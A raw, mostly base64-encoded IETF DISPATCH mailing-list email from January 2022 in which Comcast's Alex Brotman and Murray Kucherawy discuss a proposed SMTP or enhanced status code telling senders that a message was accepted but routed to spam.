=?utf-8?B?UTU2dG5QSzk5MWJBVjFBVVhFK3QyWmRiWERtL2c0MnNrS3NDS0FKVU9ZSi95?= =?utf-8?B?aDcvSUtrYU9sNlVTbXV5NEVNNDVJN1NkN1FkaWhzQ3I5YXJZajhrSldIS2Zy?= =?utf-8?B?dDJ6d0d0alg1eld3UEIxYS82VVlENm0zTWxIZFdIRm8wWlZyWldTWE9lZk84?= =?utf-8?B?bk13WFFnbHpoNlhSelJaV1BiNzluUFQrRFVsVWxIS1hRbGNqN1hIU3RFYjFI?= =?utf-8?B?R2s5WHhSVjRUeTBTaDM1S01CY3lweHNTVEVqR2F4ZEhEaEc2RHQyREpPbXpK?= =?utf-8?B?MW1xTVZtZGdNNHZGYlI3b2N4RWJxL3h4WWwveFVkQlVUYlhDMFRub3pQRldF?= =?utf-8?B?dDFlRjVxejMzclQrT0dwRk0xRWM4Y1E4V2hpM1p4bGJ4ODk3SzF4S0N6S2Uw?= =?utf-8?B?c1ppWExqT1k4cHVRSUxqbVVCclQxekNieFB6SVpDa0YyTW1VOUhkaHQzVjgw?= =?utf-8?B?dVVtU3VKTnJmbG95T05YUUE3R2pYTm4zUjFtV3RWSEZINWZWMUY1VG5UZ0VD?= =?utf-8?B?cFVHYkhJeVhnV29QUVBhZi9YMURzVjhmKzE4QzF6dWdrN0ZFWUE5dXFkd3Z6?= =?utf-8?B?NUp6ckNTeEwrR2F5dm9xQ01EM1gyYXltNHFXSjVFcm8vUGRtbkJ4R2hUVDU3?= =?utf-8?B?RGtYV3R4a3I2dE5McWZkVDJvZENpZkRNMlVSVnUxV1pIbG0zYmxtSnRTcG9l?= =?utf-8?B?cTloNGFicEJpTFVsT09iNm1oUkgrRHVrUHM1ZFAvSDdYN3NnSDVSWVlncDZa?= =?utf-8?B?azJ0UG9aN25ndFZGaHZBM3k1L2ZLOVhpRFZiK0pLUEcyb2daOWp3NGhkLzJi?= =?utf-8?B?eFdNWHBUQ0V3eGhJWE5xVnNrRDlXU2NBUVBZbW5obEpXWUhIMGdiQk5mZGVs?= =?utf-8?B?dlU4MHV6M3B0Y3V2UWptRnRiVUJZR2wrdDdqbjFvN3JwblY2dXZGZz09?= arc-seal: i=1; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv=none; b=kjzAM9rzWZXPMj7vL2aNqMzXd2SXTWoeJrg4bo3uSwdzNwXmscGyAv6vqPwsmTDAg6Hx9OQgvuPS9ojRwg2Ruf5sl4J0GQL0n6Ab2vd42OEdbzspxSM+fIJ4DD/8Y7fKm/qDtnZ9QNBRPppAhBg2XrFCHR4GdaRQmdxnCxzdZIWxdln7Z5QeGtj4eeiXUQjdk7VMG+KNSyZ1YRiWERWXJT7VIHNhc454fV+Q5CarrmqOiIZu8BGnSO/kQWr8KPZK9XYeICY5//7YTHyTzaLv10Z3CbQ97SZLjOWxS17Aw4GXMkyPez5Nk95oH3Wgxc4joKcHXgnSsNQ2hGXZN44KAQ== arc-message-signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com; s=arcselector9901; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1; bh=UyEEn3ycY5IXwQwXsWefMOREQXkDjNJJ69wJwnk0tqw=; b=Lr2GwUvIqPicDrfbC0ePleOA1syMsGOs0Qq92cptq8Dwl/w7opsRAThGGhUzC8GYdBC4mqJrDIR5++PziACCU9ex1rrMt8QCVF1TlOwVfiYVv0IZkK2KRC7LuuJh6+rlerYX6bgWqQi1gzLhoFjFcqLkbs4MfbUxa75czoUb4Re4sIlMTlY3dwPV1gCkY6DapLvvPaHR9W9ETQ5fuQvOLjT0wTzdQET4fUnBQviAjsuSxtqSjrkm7M6vL1C9rIDWyXGfH1WtSB5m03PlJw7X9NXhzVauiKQwDInsPA7rfKi7yKBD05Z/i62cKWHCh6cn2GNLtWJRA7WaJ26OpTvtiw== arc-authentication-results: i=1; mx.microsoft.com 1; spf=pass smtp.mailfrom=comcast.com; dmarc=pass action=none header.from=comcast.com; dkim=pass header.d=comcast.com; arc=none x-ms-exchange-crosstenant-authas: Internal x-ms-exchange-crosstenant-authsource: MN2PR11MB4351.namprd11.prod.outlook.com x-ms-exchange-crosstenant-network-message-id: 509e58f3-7f62-4756-33fa-08d9d6a64145 x-ms-exchange-crosstenant-originalarrivaltime: 13 Jan 2022 15:06:19.6824 (UTC) x-ms-exchange-crosstenant-fromentityheader: Hosted x-ms-exchange-crosstenant-id: 906aefe9-76a7-4f65-b82d-5ec20775d5aa x-ms-exchange-crosstenant-mailboxtype: HOSTED x-ms-exchange-crosstenant-userprincipalname: tek4z4qx8KFaISncYRHDIm7kpJORv5TUq13d+khKPz4BCoTKpRg0iIximobrl1xqcoT/HRQ1ajxGFdmHfFmEFOW6mBFfRBEdRAF/jzp+9bs= x-ms-exchange-transport-crosstenantheadersstamped: MN2PR11MB4048 x-originatororg: comcast.com Content-Type: multipart/alternative; boundary="_000_MN2PR11MB4351C353141FB393C028BC89F7539MN2PR11MB4351namp_" MIME-Version: 1.0 X-CFilter-Loop: Forward AAETWH X-Proofpoint-GUID: Y4ulc3VvwNyLbi2_7XKcQP4FPOMikH-- X-Proofpoint-ORIG-GUID: Y4ulc3VvwNyLbi2_7XKcQP4FPOMikH-- X-Proofpoint-Virus-Version: vendor=baseguard engine=ICAP:2.0.205,Aquarius:18.0.816,Hydra:6.0.425,FMLib:17.11.62.513 definitions=2022-01-13_07,2022-01-13_01,2021-12-02_01 X-Proofpoint-Spam-Reason: safe Archived-At: Subject: Re: [dispatch] SMTP Code for Undesirable Messages X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 13 Jan 2022 15:06:58 -0000 --_000_MN2PR11MB4351C353141FB393C028BC89F7539MN2PR11MB4351namp_ Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 ICAxLiAgSeKAmWQgYXNrZWQgc29tZW9uZSB3aG8gc3BlbmRzIG1vcmUgdGltZSB3b3JraW5nIHdp dGhpbiB0aGUgSUVURiwgYW5kIGRpc3BhdGNoIHdhcyB0aGVpciBzdWdnZXN0aW9uLiAgSeKAmW0g aGFwcHkgdG8gdGFrZSBpdCBhbnl3aGVyZSBlbHNlIHRoYXQgaXMgc3VnZ2VzdGVkLg0KICAyLiAg SeKAmW0gbm90IG9wcG9zZWQgdG8gYm90aC4gIEkgc3VzcGVjdCB0aGVyZSB3aWxsIGJlIGEgZmFp ciBiaXQgb2YgZGlzY3Vzc2lvbiBhYm91dCB0aGUgZ2VuZXJhbCBpZGVhIG9mIHRoZSBwcm9wb3Nh bCwgYW5kIHRoaXMgaGFkIGFscmVhZHkgY3Jvc3NlZCBteSBtaW5kLiAgSSB3b3VsZCBpbWFnaW5l IHRoZXJlIGFyZSBzb21lIE1UQXMgdGhhdCBtYXkgbm90IHVuZGVyc3RhbmQgZW5oYW5jZWQgY29k ZXMsIHRob3VnaCB0aGF0IG1heSBtZWFuIHRoZXkgd291bGRu4oCZdCBrbm93IGhvdyB0byBkZWFs IHdpdGggYW55IG5ldyByZXNwb25zZSBjb2RlcyBhdCBhbGwuDQoNCg0KLS0NCkFsZXggQnJvdG1h bg0KU3IuIEVuZ2luZWVyLCBBbnRpLUFidXNlICYgTWVzc2FnaW5nIFBvbGljeQ0KQ29tY2FzdA0K DQpGcm9tOiBNdXJyYXkgUy4gS3VjaGVyYXd5IDxzdXBlcnVzZXJAZ21haWwuY29tPg0KU2VudDog V2VkbmVzZGF5LCBKYW51YXJ5IDEyLCAyMDIyIDEwOjQ0IEFNDQpUbzogQnJvdG1hbiwgQWxleCA8 QWxleF9Ccm90bWFuQGNvbWNhc3QuY29tPg0KQ2M6IGRpc3BhdGNoQGlldGYub3JnDQpTdWJqZWN0 OiBSZTogW2Rpc3BhdGNoXSBTTVRQIENvZGUgZm9yIFVuZGVzaXJhYmxlIE1lc3NhZ2VzDQoNCk9u IEZyaSwgRGVjIDE3LCAyMDIxIGF0IDk6MDUgQU0gQnJvdG1hbiwgQWxleCA8QWxleF9Ccm90bWFu PTQwY29tY2FzdC5jb21AZG1hcmMuaWV0Zi5vcmc8bWFpbHRvOjQwY29tY2FzdC5jb21AZG1hcmMu aWV0Zi5vcmc+PiB3cm90ZToNCkkndmUgYmVlbiB3b25kZXJpbmcgaWYgaXQgbWF5IGJlIGJlbmVm aWNpYWwgZm9yIGEgbWFpbGJveCBwcm92aWRlciB0byBiZSBhYmxlIHRvIHNpZ25hbCBiYWNrIHRv IHRoZSBzZW5kZXIgdGhhdCB0aGUgbWVzc2FnZSBpcyBiZWluZyBhY2NlcHRlZCwgYnV0IGlzIHVu ZGVzaXJhYmxlIGJhc2VkIG9uIHNvbWUgY3JpdGVyaWEuICBUaGUgaWRlYSB3b3VsZCBiZSB0aGF0 IGEgcHJvdmlkZXIgbWF5IGV2YWx1YXRlIHNvbWUgY2hhcmFjdGVyaXN0aWNzIG9mIHRoZSBtZXNz YWdlLCBhbmQgYmVmb3JlIGlzc3VpbmcgYSAiMjUwIE9rIiBoYXZlIGFscmVhZHkgZGV0ZXJtaW5l ZCB0aGUgbWVzc2FnZSB3b3VsZCBiZSByb3V0ZWQgdG8gdGhlIHNwYW0gZm9sZGVyLiAgU29tZXRo aW5nIGFzIHNpbXBsZSBhczoNCg0KMjU1IE9rIC0gUm91dGluZyB0byBzcGFtIGZvbGRlcg0KDQpU aGlzIHdvdWxkIGxpa2VseSBuZWVkIHNvbWUgIlNlY3VyaXR5IENvbnNpZGVyYXRpb25zIiBzZWN0 aW9uIGFib3V0IGhvdyBpbmZvcm1pbmcgYSBtYWxpY2lvdXMgZW50aXR5IG1heSBiZSB1bmRlc2ly YWJsZS4gIEknbSB3aWxsaW5nIHRvIHdyaXRlIHRoaXMgdXAgYXMgYSBwcm9wb3NlZCBkcmFmdCwg dGhvdWdoIEknbSBub3QgZW50aXJlbHkgc3VyZSB3aGVyZSB0byBkaXJlY3QgdGhhdCBkcmFmdC4g IFRoYW5rIHlvdSBmb3IgYW55IGFkdmljZSB5b3UgY291bGQgcHJvdmlkZS4NCg0KVHdvIHRoaW5n cywgb25lIHN1YnN0YW50aXZlIGFuZCBvbmUgcHJvY2VkdXJhbDoNCigxKSBPbiBwcm9jZWR1cmU6 IFRoaXMgbWlnaHQgYmUgYmV0dGVyIHJhaXNlZCBvbiBlaXRoZXIgdGhlIFNNVFAgbWFpbGluZyBs aXN0IG9yIHRoZSBBUlQgbWFpbGluZyBsaXN0LiAgRElTUEFUQ0ggaXMgbW9zdGx5IGZvciB0YWxr aW5nIGFib3V0IGxpdmUgb3IgcHJvcG9zZWQgd29yayBpdGVtcywgbGlrZSB3aGVuIHRoZXJlJ3Mg YSBkcmFmdCByZWFkeSB0byBicmluZyB0byB0aGUgdGFibGUgZm9yIGRpc3Bvc2l0aW9uLg0KDQoo MikgT24gc3Vic3RhbmNlOiBXaHkgbm90IHJlZ2lzdGVyIGFuIGVuaGFuY2VkIHN0YXR1cyBjb2Rl IGZvciB0aGlzIGluc3RlYWQgb2YgYSBuZXcgU01UUCByZXBseSBjb2RlPyAgU2VlIGh0dHBzOi8v d3d3LmlhbmEub3JnL2Fzc2lnbm1lbnRzL3NtdHAtZW5oYW5jZWQtc3RhdHVzLWNvZGVzL3NtdHAt ZW5oYW5jZWQtc3RhdHVzLWNvZGVzLnhodG1sPGh0dHBzOi8vdXJsZGVmZW5zZS5jb20vdjMvX19o dHRwczovd3d3LmlhbmEub3JnL2Fzc2lnbm1lbnRzL3NtdHAtZW5oYW5jZWQtc3RhdHVzLWNvZGVz L3NtdHAtZW5oYW5jZWQtc3RhdHVzLWNvZGVzLnhodG1sX187ISFDUWwzbWNIWDJBIVFaVEF0OVJr LW1lUXU2OEVHak9LMDRTQ1hJdGVQdWlwazRWa0pYblkwNlBvcUx4SHIzZmxZeTYtUHNVcXZub19j ak1jJD4gYW5kIHRoZSBSRkMgaXQgcmVmZXJlbmNlcy4NCg0KLU1TSw0K --_000_MN2PR11MB4351C353141FB393C028BC89F7539MN2PR11MB4351namp_ Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PGh0bWwgeG1sbnM6dj0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp2bWwiIHhtbG5zOm89InVy bjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZSIgeG1sbnM6dz0idXJuOnNjaGVt YXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6d29yZCIgeG1sbnM6bT0iaHR0cDovL3NjaGVtYXMubWlj cm9zb2Z0LmNvbS9vZmZpY2UvMjAwNC8xMi9vbW1sIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv VFIvUkVDLWh0bWw0MCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIg Y29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjxtZXRhIG5hbWU9IkdlbmVyYXRv ciIgY29udGVudD0iTWljcm9zb2Z0IFdvcmQgMTUgKGZpbHRlcmVkIG1lZGl1bSkiPg0KPHN0eWxl PjwhLS0NCi8qIEZvbnQgRGVmaW5pdGlvbnMgKi8NCkBmb250LWZhY2UNCgl7Zm9udC1mYW1pbHk6 IkNhbWJyaWEgTWF0aCI7DQoJcGFub3NlLTE6MiA0IDUgMyA1IDQgNiAzIDIgNDt9DQpAZm9udC1m YWNlDQoJe2ZvbnQtZmFtaWx5OkNhbGlicmk7DQoJcGFub3NlLTE6MiAxNSA1IDIgMiAyIDQgMyAy IDQ7fQ0KLyogU3R5bGUgRGVmaW5pdGlvbnMgKi8NCnAuTXNvTm9ybWFsLCBsaS5Nc29Ob3JtYWws IGRpdi5Nc29Ob3JtYWwNCgl7bWFyZ2luOjBpbjsNCglmb250LXNpemU6MTEuMHB0Ow0KCWZvbnQt ZmFtaWx5OiJDYWxpYnJpIixzYW5zLXNlcmlmO30NCmE6bGluaywgc3Bhbi5Nc29IeXBlcmxpbmsN Cgl7bXNvLXN0eWxlLXByaW9yaXR5Ojk5Ow0KCWNvbG9yOmJsdWU7DQoJdGV4dC1kZWNvcmF0aW9u OnVuZGVybGluZTt9DQpwLk1zb0xpc3RQYXJhZ3JhcGgsIGxpLk1zb0xpc3RQYXJhZ3JhcGgsIGRp di5Nc29MaXN0UGFyYWdyYXBoDQoJe21zby1zdHlsZS1wcmlvcml0eTozNDsNCgltYXJnaW4tdG9w OjBpbjsNCgltYXJnaW4tcmlnaHQ6MGluOw0KCW1hcmdpbi1ib3R0b206MGluOw0KCW1hcmdpbi1s ZWZ0Oi41aW47DQoJZm9udC1zaXplOjExLjBwdDsNCglmb250LWZhbWlseToiQ2FsaWJyaSIsc2Fu cy1zZXJpZjt9DQpzcGFuLkVtYWlsU3R5bGUxOA0KCXttc28tc3R5bGUtdHlwZTpwZXJzb25hbC1y ZXBseTsNCglmb250LWZhbWlseToiQ2FsaWJyaSIsc2Fucy1zZXJpZjsNCgljb2xvcjp3aW5kb3d0 ZXh0O30NCi5Nc29DaHBEZWZhdWx0DQoJe21zby1zdHlsZS10eXBlOmV4cG9ydC1vbmx5Ow0KCWZv bnQtZmFtaWx5OiJDYWxpYnJpIixzYW5zLXNlcmlmO30NCkBwYWdlIFdvcmRTZWN0aW9uMQ0KCXtz aXplOjguNWluIDExLjBpbjsNCgltYXJnaW46MS4waW4gMS4waW4gMS4waW4gMS4waW47fQ0KZGl2 LldvcmRTZWN0aW9uMQ0KCXtwYWdlOldvcmRTZWN0aW9uMTt9DQovKiBMaXN0IERlZmluaXRpb25z ICovDQpAbGlzdCBsMA0KCXttc28tbGlzdC1pZDo4MDU5MjY4NzE7DQoJbXNvLWxpc3QtdHlwZTpo eWJyaWQ7DQoJbXNvLWxpc3QtdGVtcGxhdGUtaWRzOi01NDcxOTU5MzYgNjc2OTg3MDUgNjc2OTg3 MTMgNjc2OTg3MTUgNjc2OTg3MDMgNjc2OTg3MTMgNjc2OTg3MTUgNjc2OTg3MDMgNjc2OTg3MTMg Njc2OTg3MTU7fQ0KQGxpc3QgbDA6bGV2ZWwxDQoJe21zby1sZXZlbC10ZXh0OiIlMVwpIjsNCglt c28tbGV2ZWwtdGFiLXN0b3A6bm9uZTsNCgltc28tbGV2ZWwtbnVtYmVyLXBvc2l0aW9uOmxlZnQ7 DQoJdGV4dC1pbmRlbnQ6LS4yNWluO30NCkBsaXN0IGwwOmxldmVsMg0KCXttc28tbGV2ZWwtbnVt YmVyLWZvcm1hdDphbHBoYS1sb3dlcjsNCgltc28tbGV2ZWwtdGFiLXN0b3A6bm9uZTsNCgltc28t bGV2ZWwtbnVtYmVyLXBvc2l0aW9uOmxlZnQ7DQoJdGV4dC1pbmRlbnQ6LS4yNWluO30NCkBsaXN0 IGwwOmxldmVsMw0KCXttc28tbGV2ZWwtbnVtYmVyLWZvcm1hdDpyb21hbi1sb3dlcjsNCgltc28t bGV2ZWwtdGFiLXN0b3A6bm9uZTsNCgltc28tbGV2ZWwtbnVtYmVyLXBvc2l0aW9uOnJpZ2h0Ow0K CXRleHQtaW5kZW50Oi05LjBwdDt9DQpAbGlzdCBsMDpsZXZlbDQNCgl7bXNvLWxldmVsLXRhYi1z dG9wOm5vbmU7DQoJbXNvLWxldmVsLW51bWJlci1wb3NpdGlvbjpsZWZ0Ow0KCXRleHQtaW5kZW50 Oi0uMjVpbjt9DQpAbGlzdCBsMDpsZXZlbDUNCgl7bXNvLWxldmVsLW51bWJlci1mb3JtYXQ6YWxw aGEtbG93ZXI7DQoJbXNvLWxldmVsLXRhYi1zdG9wOm5vbmU7DQoJbXNvLWxldmVsLW51bWJlci1w b3NpdGlvbjpsZWZ0Ow0KCXRleHQtaW5kZW50Oi0uMjVpbjt9DQpAbGlzdCBsMDpsZXZlbDYNCgl7 bXNvLWxldmVsLW51bWJlci1mb3JtYXQ6cm9tYW4tbG93ZXI7DQoJbXNvLWxldmVsLXRhYi1zdG9w Om5vbmU7DQoJbXNvLWxldmVsLW51bWJlci1wb3NpdGlvbjpyaWdodDsNCgl0ZXh0LWluZGVudDot OS4wcHQ7fQ0KQGxpc3QgbDA6bGV2ZWw3DQoJe21zby1sZXZlbC10YWItc3RvcDpub25lOw0KCW1z by1sZXZlbC1udW1iZXItcG9zaXRpb246bGVmdDsNCgl0ZXh0LWluZGVudDotLjI1aW47fQ0KQGxp c3QgbDA6bGV2ZWw4DQoJe21zby1sZXZlbC1udW1iZXItZm9ybWF0OmFscGhhLWxvd2VyOw0KCW1z by1sZXZlbC10YWItc3RvcDpub25lOw0KCW1zby1sZXZlbC1udW1iZXItcG9zaXRpb246bGVmdDsN Cgl0ZXh0LWluZGVudDotLjI1aW47fQ0KQGxpc3QgbDA6bGV2ZWw5DQoJe21zby1sZXZlbC1udW1i ZXItZm9ybWF0OnJvbWFuLWxvd2VyOw0KCW1zby1sZXZlbC10YWItc3RvcDpub25lOw0KCW1zby1s ZXZlbC1udW1iZXItcG9zaXRpb246cmlnaHQ7DQoJdGV4dC1pbmRlbnQ6LTkuMHB0O30NCm9sDQoJ e21hcmdpbi1ib3R0b206MGluO30NCnVsDQoJe21hcmdpbi1ib3R0b206MGluO30NCi0tPjwvc3R5 bGU+PCEtLVtpZiBndGUgbXNvIDldPjx4bWw+DQo8bzpzaGFwZWRlZmF1bHRzIHY6ZXh0PSJlZGl0 IiBzcGlkbWF4PSIxMDI2IiAvPg0KPC94bWw+PCFbZW5kaWZdLS0+PCEtLVtpZiBndGUgbXNvIDld Pjx4bWw+DQo8bzpzaGFwZWxheW91dCB2OmV4dD0iZWRpdCI+DQo8bzppZG1hcCB2OmV4dD0iZWRp dCIgZGF0YT0iMSIgLz4NCjwvbzpzaGFwZWxheW91dD48L3htbD48IVtlbmRpZl0tLT4NCjwvaGVh ZD4NCjxib2R5IGxhbmc9IkVOLVVTIiBsaW5rPSJibHVlIiB2bGluaz0icHVycGxlIiBzdHlsZT0i d29yZC13cmFwOmJyZWFrLXdvcmQiPg0KPGRpdiBjbGFzcz0iV29yZFNlY3Rpb24xIj4NCjxvbCBz dHlsZT0ibWFyZ2luLXRvcDowaW4iIHN0YXJ0PSIxIiB0eXBlPSIxIj4NCjxsaSBjbGFzcz0iTXNv TGlzdFBhcmFncmFwaCIgc3R5bGU9Im1hcmdpbi1sZWZ0OjBpbjttc28tbGlzdDpsMCBsZXZlbDEg bGZvMSI+SeKAmWQgYXNrZWQgc29tZW9uZSB3aG8gc3BlbmRzIG1vcmUgdGltZSB3b3JraW5nIHdp dGhpbiB0aGUgSUVURiwgYW5kIGRpc3BhdGNoIHdhcyB0aGVpciBzdWdnZXN0aW9uLiZuYnNwOyBJ 4oCZbSBoYXBweSB0byB0YWtlIGl0IGFueXdoZXJlIGVsc2UgdGhhdCBpcyBzdWdnZXN0ZWQuPG86 cD48L286cD48L2xpPjxsaSBjbGFzcz0iTXNvTGlzdFBhcmFncmFwaCIgc3R5bGU9Im1hcmdpbi1s ZWZ0OjBpbjttc28tbGlzdDpsMCBsZXZlbDEgbGZvMSI+SeKAmW0gbm90IG9wcG9zZWQgdG8gYm90 aC4mbmJzcDsgSSBzdXNwZWN0IHRoZXJlIHdpbGwgYmUgYSBmYWlyIGJpdCBvZiBkaXNjdXNzaW9u IGFib3V0IHRoZSBnZW5lcmFsIGlkZWEgb2YgdGhlIHByb3Bvc2FsLCBhbmQgdGhpcyBoYWQgYWxy ZWFkeSBjcm9zc2VkIG15IG1pbmQuJm5ic3A7IEkgd291bGQgaW1hZ2luZSB0aGVyZSBhcmUNCiBz b21lIE1UQXMgdGhhdCBtYXkgbm90IHVuZGVyc3RhbmQgZW5oYW5jZWQgY29kZXMsIHRob3VnaCB0 aGF0IG1heSBtZWFuIHRoZXkgd291bGRu4oCZdCBrbm93IGhvdyB0byBkZWFsIHdpdGggYW55IG5l dyByZXNwb25zZSBjb2RlcyBhdCBhbGwuPG86cD48L286cD48L2xpPjwvb2w+DQo8cCBjbGFzcz0i TXNvTm9ybWFsIj48bzpwPiZuYnNwOzwvbzpwPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxv OnA+Jm5ic3A7PC9vOnA+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+LS08bzpwPjwvbzpwPjwv cD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPkFsZXggQnJvdG1hbjxvOnA+PC9vOnA+PC9wPg0KPHAg Y2xhc3M9Ik1zb05vcm1hbCI+U3IuIEVuZ2luZWVyLCBBbnRpLUFidXNlICZhbXA7IE1lc3NhZ2lu ZyBQb2xpY3k8bzpwPjwvbzpwPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPkNvbWNhc3Q8bzpw PjwvbzpwPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxvOnA+Jm5ic3A7PC9vOnA+PC9wPg0K PGRpdiBzdHlsZT0iYm9yZGVyOm5vbmU7Ym9yZGVyLWxlZnQ6c29saWQgYmx1ZSAxLjVwdDtwYWRk aW5nOjBpbiAwaW4gMGluIDQuMHB0Ij4NCjxkaXY+DQo8ZGl2IHN0eWxlPSJib3JkZXI6bm9uZTti b3JkZXItdG9wOnNvbGlkICNFMUUxRTEgMS4wcHQ7cGFkZGluZzozLjBwdCAwaW4gMGluIDBpbiI+ DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48Yj5Gcm9tOjwvYj4gTXVycmF5IFMuIEt1Y2hlcmF3eSAm bHQ7c3VwZXJ1c2VyQGdtYWlsLmNvbSZndDsgPGJyPg0KPGI+U2VudDo8L2I+IFdlZG5lc2RheSwg SmFudWFyeSAxMiwgMjAyMiAxMDo0NCBBTTxicj4NCjxiPlRvOjwvYj4gQnJvdG1hbiwgQWxleCAm bHQ7QWxleF9Ccm90bWFuQGNvbWNhc3QuY29tJmd0Ozxicj4NCjxiPkNjOjwvYj4gZGlzcGF0Y2hA aWV0Zi5vcmc8YnI+DQo8Yj5TdWJqZWN0OjwvYj4gUmU6IFtkaXNwYXRjaF0gU01UUCBDb2RlIGZv ciBVbmRlc2lyYWJsZSBNZXNzYWdlczxvOnA+PC9vOnA+PC9wPg0KPC9kaXY+DQo8L2Rpdj4NCjxw IGNsYXNzPSJNc29Ob3JtYWwiPjxvOnA+Jm5ic3A7PC9vOnA+PC9wPg0KPGRpdj4NCjxkaXY+DQo8 cCBjbGFzcz0iTXNvTm9ybWFsIj5PbiBGcmksIERlYyAxNywgMjAyMSBhdCA5OjA1IEFNIEJyb3Rt YW4sIEFsZXggJmx0O0FsZXhfQnJvdG1hbj08YSBocmVmPSJtYWlsdG86NDBjb21jYXN0LmNvbUBk bWFyYy5pZXRmLm9yZyI+NDBjb21jYXN0LmNvbUBkbWFyYy5pZXRmLm9yZzwvYT4mZ3Q7IHdyb3Rl OjxvOnA+PC9vOnA+PC9wPg0KPC9kaXY+DQo8ZGl2Pg0KPGJsb2NrcXVvdGUgc3R5bGU9ImJvcmRl cjpub25lO2JvcmRlci1sZWZ0OnNvbGlkICNDQ0NDQ0MgMS4wcHQ7cGFkZGluZzowaW4gMGluIDBp biA2LjBwdDttYXJnaW4tbGVmdDo0LjhwdDttYXJnaW4tcmlnaHQ6MGluIj4NCjxwIGNsYXNzPSJN c29Ob3JtYWwiPkkndmUgYmVlbiB3b25kZXJpbmcgaWYgaXQgbWF5IGJlIGJlbmVmaWNpYWwgZm9y IGEgbWFpbGJveCBwcm92aWRlciB0byBiZSBhYmxlIHRvIHNpZ25hbCBiYWNrIHRvIHRoZSBzZW5k ZXIgdGhhdCB0aGUgbWVzc2FnZSBpcyBiZWluZyBhY2NlcHRlZCwgYnV0IGlzIHVuZGVzaXJhYmxl IGJhc2VkIG9uIHNvbWUgY3JpdGVyaWEuJm5ic3A7IFRoZSBpZGVhIHdvdWxkIGJlIHRoYXQgYSBw cm92aWRlciBtYXkgZXZhbHVhdGUgc29tZQ0KIGNoYXJhY3RlcmlzdGljcyBvZiB0aGUgbWVzc2Fn ZSwgYW5kIGJlZm9yZSBpc3N1aW5nIGEgJnF1b3Q7MjUwIE9rJnF1b3Q7IGhhdmUgYWxyZWFkeSBk ZXRlcm1pbmVkIHRoZSBtZXNzYWdlIHdvdWxkIGJlIHJvdXRlZCB0byB0aGUgc3BhbSBmb2xkZXIu Jm5ic3A7IFNvbWV0aGluZyBhcyBzaW1wbGUgYXM6PGJyPg0KPGJyPg0KMjU1IE9rIC0gUm91dGlu ZyB0byBzcGFtIGZvbGRlcjxicj4NCjxicj4NClRoaXMgd291bGQgbGlrZWx5IG5lZWQgc29tZSAm cXVvdDtTZWN1cml0eSBDb25zaWRlcmF0aW9ucyZxdW90OyBzZWN0aW9uIGFib3V0IGhvdyBpbmZv cm1pbmcgYSBtYWxpY2lvdXMgZW50aXR5IG1heSBiZSB1bmRlc2lyYWJsZS4mbmJzcDsgSSdtIHdp bGxpbmcgdG8gd3JpdGUgdGhpcyB1cCBhcyBhIHByb3Bvc2VkIGRyYWZ0LCB0aG91Z2ggSSdtIG5v dCBlbnRpcmVseSBzdXJlIHdoZXJlIHRvIGRpcmVjdCB0aGF0IGRyYWZ0LiZuYnNwOyBUaGFuayB5 b3UgZm9yIGFueSBhZHZpY2UgeW91DQogY291bGQgcHJvdmlkZS48bzpwPjwvbzpwPjwvcD4NCjwv YmxvY2txdW90ZT4NCjxkaXY+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48bzpwPiZuYnNwOzwvbzpw PjwvcD4NCjwvZGl2Pg0KPGRpdj4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiIHN0eWxlPSJtYXJnaW4t Ym90dG9tOjEyLjBwdCI+VHdvIHRoaW5ncywgb25lIHN1YnN0YW50aXZlIGFuZCBvbmUgcHJvY2Vk dXJhbDo8bzpwPjwvbzpwPjwvcD4NCjwvZGl2Pg0KPGRpdj4NCjxwIGNsYXNzPSJNc29Ob3JtYWwi PigxKSBPbiBwcm9jZWR1cmU6IFRoaXMgbWlnaHQgYmUgYmV0dGVyIHJhaXNlZCBvbiBlaXRoZXIg dGhlIFNNVFAgbWFpbGluZyBsaXN0IG9yIHRoZSBBUlQgbWFpbGluZyBsaXN0LiZuYnNwOyBESVNQ QVRDSCBpcyBtb3N0bHkgZm9yIHRhbGtpbmcgYWJvdXQgbGl2ZSBvciBwcm9wb3NlZCB3b3JrIGl0 ZW1zLCBsaWtlIHdoZW4gdGhlcmUncyBhIGRyYWZ0IHJlYWR5IHRvIGJyaW5nIHRvIHRoZSB0YWJs ZSBmb3IgZGlzcG9zaXRpb24uPG86cD48L286cD48L3A+DQo8L2Rpdj4NCjxkaXY+DQo8cCBjbGFz cz0iTXNvTm9ybWFsIj48bzpwPiZuYnNwOzwvbzpwPjwvcD4NCjwvZGl2Pg0KPGRpdj4NCjxwIGNs YXNzPSJNc29Ob3JtYWwiPigyKSBPbiBzdWJzdGFuY2U6IFdoeSBub3QgcmVnaXN0ZXIgYW4gZW5o YW5jZWQgc3RhdHVzIGNvZGUgZm9yIHRoaXMgaW5zdGVhZCBvZiBhIG5ldyBTTVRQIHJlcGx5IGNv ZGU/Jm5ic3A7IFNlZQ0KPGEgaHJlZj0iaHR0cHM6Ly91cmxkZWZlbnNlLmNvbS92My9fX2h0dHBz Oi93d3cuaWFuYS5vcmcvYXNzaWdubWVudHMvc210cC1lbmhhbmNlZC1zdGF0dXMtY29kZXMvc210 